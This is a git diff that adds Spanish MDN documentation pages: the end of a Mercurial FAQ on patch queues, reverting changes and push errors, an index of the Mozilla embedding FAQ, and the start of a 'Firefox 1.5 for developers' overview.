+<p>Lo más avanzado que puedes hacer es importar el cambio en <a class="external" href="http://www.selenic.com/mercurial/wiki/index.cgi/MqExtension">mq</a>, extraerlo de la cola, actualizar, y volver a aplicarlo de nuevo antes de subirlo:</p>
+<pre class="eval">% <strong>hg log -l 5</strong>
+415[tip]   d1accb6ee840   2008-04-30 09:57 -0700   vladimir
+  b=430873; fast path drawImage with a canvas as source
+414   3a3ecbb4873e   2008-04-30 09:55 -0700   vladimir
+  cvs sync
+% <strong>hg qimport -r 415</strong>
+% <strong>hg qtop</strong>
+415.diff
+% <strong>hg qpop</strong>
+Patch queue now empty
+% <strong>hg pull -u</strong>
+<em>... varios mensajes de descarga/actualización ...</em>
+% <strong>hg qpush</strong>
+applying 415.diff
+Now at: 415.diff
+<em>Corrige los conflictos según sea necesario; si has corregido alguno, ejecuta hg qrefresh primero</em>
+% <strong>hg qrm -r 415.diff</strong>
+<em>qrm -r significa "elimina este parche de mi cola, pero conserva la revisión"</em>
+% <strong>hg log -l 5</strong>
+<em>verifica que el registro tiene buena pinta, con tu cambio arriba del todo</em>
+% <strong>hg push</strong>
+</pre>
+<p>Si ya has usado mq para gestionar tus parches, asegúrate de que descargas/actualizas justo antes de aplicar y subir tu parche. Si tienes problemas con lo anterior, no hay nada malo en hacer una fusión simple como se ha descrito anteriormente.</p>
+<h3 id=".C2.BFC.C3.B3mo_veo_lo_que_har.C3.A1n_estas_.C3.B3rdenes_antes_de_ejecutarlas.3F">¿Cómo veo lo que harán estas órdenes antes de ejecutarlas?</h3>
+<p>Si quieres ver lo que hará <code>hg commit</code>, ejecuta <code>hg diff</code> primero.</p>
+<p>Si quieres ver lo que subirá <code>hg push</code>, ejecuta <code>hg outgoing</code> primero.</p>
+<p>Si quieres ver lo que descargará <code>hg pull</code>, ejecuta <code>hg incoming</code> primero.</p>
+<p>Estos pares de órdenes aceptan todos argumentos parecidos, y hay buenos motivos para ello. Es buena idea usarlos siempre mientras estás aprendiendo a usar Mercurial. E incluso una vez ya eres un experto, ejecutar siempre outgoing antes de push es una buena idea.</p>
+<h3 id=".C2.BFC.C3.B3mo_puedo_personalizar_el_formato_de_los_parches_que_crea_Mercurial.3F">¿Cómo puedo personalizar el formato de los parches que crea Mercurial?</h3>
+<p>Edita tu archivo <code>~/.hgrc</code> y añade unas líneas como éstas:</p>
+<pre class="eval">[defaults]
+diff=-U 8 -p
+qdiff=-U 8
+
+[diff]
+git=true
+</pre>
+<p>La sección <code>{{ mediawiki.external('defaults') }}</code> afecta a la salida predeterminada de las órdenes <code>hg diff</code> y <code>hg qdiff</code>. Las opciones se comportan igual que si estuvieran en la línea de órdenes. Prueba <code>hg help diff</code> para más información.</p>
+<p>La sección <code>{{ mediawiki.external('diff') }}</code> afecta a todos los parches generados por Mercurial, incluso aquellos generados para el uso interno de Mercurial. Necesitas llevar mucho más cuidado con esto, pero se recomienda <code>git=true</code>. Sin él, Mercurial no puede comparar (diff) archivos binarios y no lleva un registro del bit de modo de ejecución.</p>
+<h2 id="Revertir_cambios">Revertir cambios</h2>
+<h3 id="Revertir_todo_el_.C3.A1rbol_a_una_revisi.C3.B3n_buena_conocida">Revertir todo el árbol a una revisión buena conocida</h3>
+<p>Es fácil, tan fácil como usar un mazo. Pero normalmente es matar moscas a cañonazos.</p>
+<pre class="eval">$ hg pull -u
+$ <strong>hg revert --all -r a0193d83c208</strong>       <em># usa aquí la id de tu revisión buena conocida</em>
+$ hg commit                             <em># Sé educado, incluye la id de revisión en tu mensaje acompañando al cambio</em>
+$ hg push
+</pre>
+<p>Hay una alternativa más precisa:</p>
+<h3 id="Revertir_un_.C3.BAnico_conjunto_de_cambios">Revertir un único conjunto de cambios</h3>
+<p>Supón que el conjunto de cambios <code>f8f4360bf155</code> ha estropeado algo.</p>
+<pre class="eval">$ hg pull -u
+$ <strong>hg backout f8f4360bf155</strong>               <em># usa la id de revisión del cambio erróneo aquí</em>
+</pre>
+<p>Esto crea y aplica un nuevo conjunto de cambios que revierte todos los cambios en la revisión.</p>
+<p>Si ves este mensaje:</p>
+<pre class="eval">the backout changeset is a new head - do not forget to merge
+</pre>
+<p>Esto significa que necesitas fusionar, porque tu historial ahora tiene este aspecto:</p>
+<pre class="eval">   <strong>TÚ</strong> ---&gt; o  9123b7791b52 - Kaitlin Jones &lt;<a class=" link-mailto" href="mailto:kaitlin@example.net">kaitlin@example.net</a>&gt; - Backed out changeset f8f4360bf155
+           |
+<strong>TRUNK</strong> ---&gt; | o  4e5bfb83643f - Simon Montagu &lt;<a class=" link-mailto" href="mailto:smontagu@example.org">smontagu@example.org</a>&gt; - imported patch 435856
+           | |
+           | o  6ee23de41631 - Phil Ringnalda &lt;<a class=" link-mailto" href="mailto:philringnalda@example.com">philringnalda@example.com</a>&gt; - Bug 438526 - Opening links w
+           | |
+           | o  22baa05d0e8a - Robert O'Callahan &lt;<a class=" link-mailto" href="mailto:robert@example.org">robert@example.org</a>&gt; - Remove DOM testcase from exclusi
+           | |
+           | o  c1aec2094f7e - Robert Longson &lt;<a class=" link-mailto" href="mailto:longsonr@example.com">longsonr@example.com</a>&gt; - Bug 437448. New-style nsSVGString
+           | |
+           | o  306726089e22 - Robert Longson &lt;<a class=" link-mailto" href="mailto:longsonr@example.com">longsonr@example.com</a>&gt; - Bug 437448. New-style nsSVGString
+           | |
+           | o  ba9b9a7c52a5 - Robert Longson &lt;<a class=" link-mailto" href="mailto:longsonr@example.com">longsonr@example.com</a>&gt; - Bug 437448. New-style nsSVGString
+           |/
+           o  f8f4360bf155 - Robert O'Callahan &lt;<a class=" link-mailto" href="mailto:robert@example.org">robert@example.org</a>&gt; - Bug 421436. Remove hack that gives
+           |
+           ⋮ (the past)
+</pre>
+<p>Tu conjunto de cambios de reversión está basado en una revisión antigua. No tiene los cambios más recientes.</p>
+<p>Maneja esto como cualquier otra fusión. Si nunca has hecho antes una fusión, consigue ayuda (podría ser trivial o convertirse en un dolor de cabeza mayúsculo. Hay más información sobre cómo fusionar en otras partes de esta FAQ).</p>
+<h2 id="Ayuda">Ayuda</h2>
+<h3 id=".C2.A1Ayuda.2C_no_puedo_subir_los_cambios.21">¡Ayuda, no puedo subir los cambios!</h3>
+<p>Si estás intentando subir los cambios y no puedes, prueba esto primero:</p>
+<pre class="eval">$ ssh hg.mozilla.org
+</pre>
+<p>Si ves un resultado como:</p>
+<pre class="eval">Permission denied (publickey,gssapi-with-mic).
+</pre>
+<p>puede deberse a las siguientes razones:</p>
+<ul> <li>necesitas <a href="#.C2.BFC.C3.B3mo_aplico_cambios.3F">configurar tu nombre de usuario correctamente</a></li> <li>no tienes la clave privada correcta en ~/.ssh</li> <li>no tienes una cuenta en hg.mozilla.org (si deberías tenerla, <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=mozilla.org">cursa un bug</a> en mozilla.org:Server Operations).</li>
+</ul>
+<p>Si ves un resultado como:</p>
+<pre class="eval">You are not allowed to use this system, go away!
+</pre>
+<p>entonces necesitas <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=mozilla.org">cursar un bug</a> en mozilla.org:Server Operations.</p>
+<p>Debes esperar que la orden SSH te desconecte inmediatamente, ya que no se supone que debas tener acceso a ninguna shell. Puede que te devuelva como resultado:</p>
+<pre class="eval">Could not chdir to home directory : No such file or directory
+</pre>
+<p>lo que no tiene consecuencias (aunque algunas personas lo verán y otras no).</p>
+<p>Si ves un resultado como:</p>
+<pre class="eval">ssl required
+</pre>
+<p>entonces necesitas <a href="#.C2.BFC.C3.B3mo_aplico_cambios.3F">configurar el valor de tu <em>default-push</em> correctamente</a>.</p>
+<h2 id="Cosas_que_han_cambiado">Cosas que han cambiado</h2>
+<ul> <li>Bonsai ha sido reemplazado por el <a class="external" href="http://hg.mozilla.org/mozilla-central/">visor web de Hg</a>. Le faltan algunas características de bonsai que estarían bien, incluyendo marcado, enlaces por número de línea y gráficas. Hay algunas diferencias de terminología:</li>
+</ul>
+<p>bonsai blame == hg annotate<br>
+bonsai log == hg revisions<br>
+también puedes visualizar el repositorio usando el enlace "manifest".</p>
+<ul> <li>MXR para mozilla-central está <a class="external" href="http://mxr.mozilla.org/mozilla-central/">ya disponible</a>.</li>
+</ul>
+<ul> <li>No hay integración de Bugzilla para Mercurial.</li>
+</ul>
+<ul> <li><a href="/es/Características_deseadas_de_Mercurial" title="es/Características_deseadas_de_Mercurial">Características deseadas de Mercurial</a>.</li>
+</ul>
+
+<p>{{ languages( { "en": "en/Mercurial_FAQ" } ) }}</p>
diff --git a/files/es/faq_incrustando_mozilla/index.html b/files/es/faq_incrustando_mozilla/index.html
new file mode 100644
index 0000000000..28f70b65ee
--- /dev/null
+++ b/files/es/faq_incrustando_mozilla/index.html
@@ -0,0 +1,70 @@
+---
+title: FAQ Incrustando Mozilla
+slug: FAQ_Incrustando_Mozilla
+tags:
+  - Incrustando_Mozilla
+  - Preguntas_frecuentes_sobre_incrustación_en_Mozilla
+  - Todas_las_Categorías
+---
+<p>Esta página es una recopilación de preguntas frecuentes sobre <a href="es/Incrustrando_Mozilla"> Incrustrando Mozilla </a>.
+</p><p>Lista de correo (en inglés): <a class="external" href="http://www.mozilla.org/community/developer-forums.html#mozilla-embedding">mozilla-embedding@mozilla.org</a>
+</p>
+<ol><li> <a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Introducci%c3%b3n_a_Gecko_e_inscrustaci%c3%b3n">Introducción a Gecko e inscrustación</a>
+<ol><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Introducci%c3%b3n_a_Gecko_e_inscrustaci%c3%b3n#Que_es_Gecko.3F"> ¿Qué es Gecko?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Introducci%c3%b3n_a_Gecko_e_inscrustaci%c3%b3n#Que_es_Mozilla.3F"> ¿Qué es Mozilla?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Introducci%c3%b3n_a_Gecko_e_inscrustaci%c3%b3n#Que_es_el_GRE.3F"> ¿Qué es el GRE?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Introducci%c3%b3n_a_Gecko_e_inscrustaci%c3%b3n#Que_es_XPCOM.3F"> ¿Qué es XPCOM?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Introducci%c3%b3n_a_Gecko_e_inscrustaci%c3%b3n#Que_significa_.22incrustar.22_Gecko.3F"> ¿Qué significa "incrustar" Gecko?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Introducci%c3%b3n_a_Gecko_e_inscrustaci%c3%b3n#Cuales_son_los_t.C3.A9rminos_de_licencia_para_incrustar_Gecko.3F"> ¿Cuales son los términos de licencia para incrustar Gecko?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Introducci%c3%b3n_a_Gecko_e_inscrustaci%c3%b3n#Hay_disponible_un_SDK_.3F"> ¿Hay disponible un SDK?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Introducci%c3%b3n_a_Gecko_e_inscrustaci%c3%b3n#Cu.C3.A1l_es_la_.C3.BAltima_versi.C3.B3n.3F_Que_versi.C3.B3n_deber.C3.ADa_usar.3F"> ¿Cuál es la última versión? ¿Que versión debería usar?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Introducci%c3%b3n_a_Gecko_e_inscrustaci%c3%b3n#Qui.C3.A9n_esta_usando_Gecko_actualmente.3F"> ¿Quién está usando Gecko actualmente?</a>
+</li></ol>
+</li><li> <a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko"> Incrustando Gecko</a>
+<ol><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#Qu.C3.A9_archivos_necesito_para_poder_incrustar_.3F"> ¿Qué archivos necesito para poder incrustar?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#C.C3.B3mo_se_lleva_a_cabo_la_distribuci.C3.B3n_de_la_incrustaci.C3.B3n.3F"> ¿Cómo se lleva a cabo a la distribución de la incrustación?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#Por_qu.C3.A9_necesito_incluir_archivos_XPT_en_mi_aplicaci.C3.B3n3F"> ¿Por qué necesito incluir archivos XPT en mi aplicación?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#C.C3.B3mo_me_mantengo_al_tanto_con_los_cambios_en_la_interfaz_de_Gecko_.3F"> ¿Cómo me mantengo al tanto con los cambios en la interfaz de Gecko?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#Esto_significa_que_mi_compilaci.C3.B3n_ser.C3.A1_compatible_con_todas_las_versiones_futuras_de_GRE_.2F_Gecko_.2F_Mozilla.3F"> ¿Esto significa que mi compilación será compatible con todas las versiones futuras de GRE/Gecko/Mozilla?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#Qu.C3.A9_plataformas_son_soportadas_.3F"> ¿Qué plataformas son soportadas?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#Admite_la_versi.C3.B3n_incrustada_protocolos_seguros_como_HTTPS.3F"> ¿Admite la versión incrustada protocolos seguros como HTTPS?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#C.C3.B3mo_se_comunica_mi_aplicaci.C3.B3n_con_Gecko.3F"> ¿Cómo se comunica mi aplicación con Gecko?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#Puedo_incrustar_sin..."> ¿Puedo incrustar_sin ...</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#Puedo_incrustar_el_editor_mozilla_de_HTML.3F"> Puedo incrustar el editor mozilla de HTML?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#Qu.C3.A9_herramienta_de_creaci.C3.B3n_de_wigdets_emplea_Mozilla.3F"> ¿Qué herramienta de creación de wigdets emplea Mozilla?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#Tiene_elmozilla_incrustado_soporte_para_Javat.3F"> Tiene el mozilla incrustado soporte para Java?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Incrustando_Gecko#Puedo_incrustar_en_ozilla_de_alguna_otra_manera.3F"> ¿Puedo incrustar en mozilla de alguna otra manera?</a>
+</li></ol>
+</li><li> <a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago_...">Cómo hago ...</a>
+<ol><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_incrusto_Gecko.3F"> ¿Cómo incrusto Gecko?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#Qu.C3.A9_es_un_servicio.3F"> ¿Qué es un servicio?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_cargo_una_p.C3.A1gina.3F"> ¿Cómo cargo una página?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_bloqueo_una_carga.3F"> ¿Cómo bloqueo una carga?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_vigilo_.2Finterrumpo_una_carga_antes_de_que_ocurra_.3F"> ¿Cómo vigilo/interrumpo una carga antes de que ocurra?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_copio_elementos_al_portapapeles.3F"> Cómo copio elementos al portapapeles?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_grabo_un_documento_o_dato_en_el_disco.3F"> ¿Cómo grabo un documento o dato en el disco?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_grabo_.2F_cuelgo_un_archivo_.2F_dato_a_un_sitio_web_o_un_servidor_ftp.3F"> ¿Cómo grabo/cuelgo un archivo/dato a un sitio web o un servidor ftp?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_s.C3.A9_cuando_una_grabaci.C3.B3n_ha_concluido_.2C_vigilo_el_progreso_etc..3F"> ¿Cómo sé cuando una grabación ha concluido, vigilo el progreso etc.?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_imprimo_una_p.C3.A1gina.3F"> ¿Cómo imprimo una página?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_creo_la_vista_preliminar_de_una_p.C3.A1gina.3F"> Cómo creo la vista preliminar de una página?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_consigo_que_los_elemento_semergentes_fucionen_.3F"> Cómo consigo que los elementos emergentes fucionen?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#Necesito_que_el_Javascript_dentro_de_la_ventana_del_navegador_se_comunique_con_mi_cliente_incrustado._C.C3.B3mo_lo_hago_.3F"> Necesito que el Javascript dentro de la ventana del navegador se comunique con mi cliente incrustado. Cómolohago?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_establezaco_otras_ubicaciones_para_archivos_como_components.reg.3F"> Cómo establezco otras ubicaciones para archivos como components.reg?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_establezaco_otras_ubicaciones_para_los_perfiles.3F"> ¿Cómo establezco otras ubicaciones para los perfiles?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_cambio_la_cadena_de_identificaci.C3.B3n.3F"> ¿Cómo cambio la cadena de identificación?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_muestro_mi_propio_mensaje.2C_alertas_y_ventanas_de_aviso.3F"> ¿Cómo muestro mi propio mensaje, alertas y ventanas de aviso?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_obtengo_el_archivo_DOM_del_objeto_navegador.3F"> ¿Cómo obtengo el archivo DOM del objeto navegador?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#Qu.C3.A9_es_el_docshell.3F"> ¿Qué es el docshell?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_establezco_menus_contextuales_.3F"> ¿Cómo establezco menus contextuales?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_establezco_los_tool_tips.3F"> ¿Cómo establezco los tool tips?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_hago_para_ver_tool_tips_para_nodos_con_attributos_ALT.3F"> ¿Cómo hago para ver tool tips para nodos con attributos ALT?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/C%c3%b3mo_hago...#C.C3.B3mo_hago_para_configurar_el_proxy_.3F"> ¿Cómo hago para configurar el proxy?</a>
+</li></ol>
+</li><li> <a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Problemas_Comunes">Problemas comunes</a>
+<ol><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Problemas_comunes#TestGTKEmbed_no_funciona.21"> ¡El TestGTKEmbed no funciona!</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Problemas_comunes#C.C3.B3mo_compilo_MFCEmbed_.3F"> ¿Cómo compilo MFCEmbed?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Problemas_comunes#C.C3.B3mo_depuro_MFCEmbed.3F"> ¿Cómo depuro MFCEmbed?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Problemas_comunes#Por_qu.C3.A9_no_funciona_el_FTP.3F"> ¿Por qué no funciona el FTP?</a>
+</li><li><a href="es/Preguntas_frecuentes_sobre_incrustaci%c3%b3n_en_Mozilla/Problemas_comunes#Por_qu.C3.A9_es_mi_compilaci.C3.B3n_tan_grande.3F.21"> ¿Por qué es mi compilación tan grande?</a>
+</li></ol>
+</li></ol>
diff --git a/files/es/firefox_1.5_para_desarrolladores/index.html b/files/es/firefox_1.5_para_desarrolladores/index.html
new file mode 100644
index 0000000000..2372dd0f81
--- /dev/null
+++ b/files/es/firefox_1.5_para_desarrolladores/index.html
@@ -0,0 +1,164 @@
+---
+title: Firefox 1.5 para Desarrolladores
+slug: Firefox_1.5_para_Desarrolladores
+tags:
+  - CSS
+  - Complementos
+  - DOM
+  - Desarrollo_Web
+  - Estándares_Web
+  - HTML
+  - JavaScript
+  - RDF
+  - SVG
+  - Servicios_Web_XML
+  - Todas_las_Categorías
+  - XML
+  - XSLT
+  - XUL
+  - extensiones
+translation_of: Mozilla/Firefox/Releases/1.5
+---
+<div>{{FirefoxSidebar}}</div><h3 id="Firefox_1.5" name="Firefox_1.5">Firefox 1.5</h3>
+
+<p>Se ha lanzado Firefox 1.5 y ya se puede descargar <strong><a class="external" href="http://www.mozilla.com/firefox/">descarga</a></strong>. Este programa esta basado en el motor de <a href="es/Gecko">Gecko</a> 1.8, esta nueva versión del navegador mejora su ya magnífico soporte a los estándares web y proporciona nuevas capacidades que hacen posible una nueva generación de aplicaciones web. Algunas de las nuevas características de Firefox 1.5 son: soporte de CSS2 y CSS3 mejorado, APIs para programar gráficos en 2D por medio de <code>&lt;canvas&gt;</code>, o gráficos vectoriales con <a href="es/SVG">SVG</a> 1.1, <a href="es/XForms">XForms</a> y eventos XML, así como muchas mejoras en DHTML, JavaScript y DOM.</p>
+
+<p><strong>Firefox 1.5</strong> ya puede descargarse en el siguiente link: - <a class="external" href="http://www.mozilla.com/firefox/" rel="freelink">http://www.mozilla.com/firefox/</a></p>
+
+<h3 id="Herramientas_para_desarrolladores" name="Herramientas_para_desarrolladores">Herramientas para desarrolladores</h3>
+
+<p>Firefox 1.5 dispone de diversas herramientas y extensiones de gran utilidad para los desarrolladores.</p>
+
+<ul>
+ <li><a href="es/DOM_Inspector">DOM Inspector</a>, una herramienta que permite a los desarrolladores inspeccionar y modificar documentos sin tener que editar el documento directamente. DOM Inspector está disponible como una opción en la Instalación personalizada de Firefox 1.5 bajo Herramientas para desarrolladores.</li>
+ <li>Consola JavaScript, una herramienta para escribir y testear código JavaScript a la vez que sirve para ver los errores JavaScript y de CSS en una página.</li>
+ <li>Ver código fuente de la página, con sombreado de código y opciones de búsqueda.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/extensions/showlist.php?application=firefox&amp;category=Developer%20Tools">Extensiones para el navegador</a> incluyendo <a href="es/Web_Developer_Firefox_Extension_(external)">Web Developer toolbar</a>, <a href="es/Live_HTTP_Headers_(external)">Live HTTP Headers</a>, <a href="es/HTML_Validator_(external)">HTML Validator</a> y muchas más.</li>
+</ul>
+
+<p><strong>Nota:</strong> Algunas extensiones no soportan actualmente Firefox 1.5, y serán automáticamente desactivadas.</p>
+
+<h3 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h3>
+
+<p>Algunas de las nuevas características en Firefox 1.5:</p>
+
+<h4 id="Desarrolladores_de_sitios_web_y_aplicaciones" name="Desarrolladores_de_sitios_web_y_aplicaciones">Desarrolladores de sitios web y aplicaciones</h4>
+
+<dl>
+ <dt><a href="es/SVG_en_HTML_Introducci%c3%b3n">Introducción a SVG en HTML </a></dt>
+ <dd>Aprenda cómo usar SVG en sus páginas XHTML y a manipular imágenes con JavaScript y CSS de forma similar a como haría un script para XHTML. Vea también <a href="es/SVG_en_Firefox_1.5">SVG en Firefox 1.5</a> para saber más sobre el estado y los problemas de la implementación de SVG en Firefox 1.5.</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/Dibujar_gr%c3%a1ficos_con_Canvas">Dibujar gráficos con Canvas</a> </dt>
+ <dd>Aprenda acerca de la nueva etiqueta <code>&lt;canvas&gt;</code> y cómo dibujar gráficos y otros objetos en Firefox.</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/Columnas_con_CSS-3">Columnas con CSS-3</a> </dt>
+ <dd>Aprenda sobre el soporte a la disposición automática de texto en multi-columnas según lo propuesto en CSS3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/El_cache_de_Firefox_1.5">El cache de Firefox 1.5</a> </dt>
+ <dd>Aprenda acerca de <code>bfcache</code> y cómo aumenta la velocidad de la navegación en páginas ya visitadas.</dd>
+</dl>
+
+<h4 id="XUL_y_Desarrolladores_de_Extensi.C3.B3n" name="XUL_y_Desarrolladores_de_Extensi.C3.B3n">XUL y Desarrolladores de Extensión</h4>
+
+<dl>
+ <dt><a href="es/Creando_una_extensi%c3%b3n">Creando una extensión</a> </dt>
+ <dd>Este tutorial te llevará a través de los pasos necesarios para construir una extensión para Firefox muy básica. Ver también <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">otro tutorial en la base de conocimiento MozillaZine</a>, el cual demuestra las nuevas características del Administrador de Extensión en 1.5, que hace la creación de una nueva extensión incluso mas fácil.</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/XPCNativeWrapper">XPCNativeWrapper</a> </dt>
+ <dd><code>XPCNativeWrapper</code> es una forma de envolver un objeto cuyo <a href="es/Safely_accessing_content_DOM_from_chrome">acceso es seguro desde un código privilegiado</a>. Puede ser usado en todas las versiones de Firefox, a pesar que su funcionamiento ha cambiado con la versión 1.5 (Gecko 1.8).</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/Preferencias_del_Sistema">Preferencias del Sistema</a> </dt>
+ <dd>Aprenda acerca de los nuevos widgets, que te permiten crear ventanas de Opciones mas fácilmente y usando menos código JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/Caracteres_Internacionales_en_XUL_JavaScript">Caracteres Internacionales en XUL JavaScript</a> </dt>
+ <dd>Ahora los archivos XUL JavaScript pueden contener caracteres no-ASCII.</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/Cambios_en_el_API_tree">Cambios en el API tree</a> </dt>
+ <dd>Las interfaces para acceder a los elementos <code>&lt;tree&gt;</code> han cambiado.</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/Cambios_en_XUL_en_Firefox_1.5">Cambios en XUL en Firefox 1.5</a> </dt>
+ <dd>Un resumen de los cambios en Xul. Vea también <a href="es/Adaptando_las_aplicaciones_XUL_a_Firefox_1.5">Adaptando las aplicaciones XUL a Firefox 1.5</a>.</dd>
+</dl>
+
+<dl>
+ <dt>Cambios referentes a la red </dt>
+ <dd> </dd>
+</dl>
+
+<ul>
+ <li>Certificate prompts can now be overridden on a per-channel basis. This works by setting an interface requestor as an <a href="es/NsIChannel">nsIChannel</a>'s notificationCallbacks and giving out an interface for <a href="es/NsIBadCertListener">nsIBadCertListener</a>.</li>
+ <li>nsIWebBrowserPersist's listeners can now implement <a href="es/NsIInterfaceRequestor">nsIInterfaceRequestor</a>::GetInterface and will get an opportunity to provide all interfaces that channels might ask for, including <a href="es/NsIProgressEventSink">nsIProgressEventSink</a> (not too useful, redundant with <a href="es/NsIWebProgressListener">nsIWebProgressListener</a>). Useful interfaces here include <a href="es/NsIChannelEventSink">nsIChannelEventSink</a> and <a href="es/NsIBadCertListener">nsIBadCertListener</a>.</li>
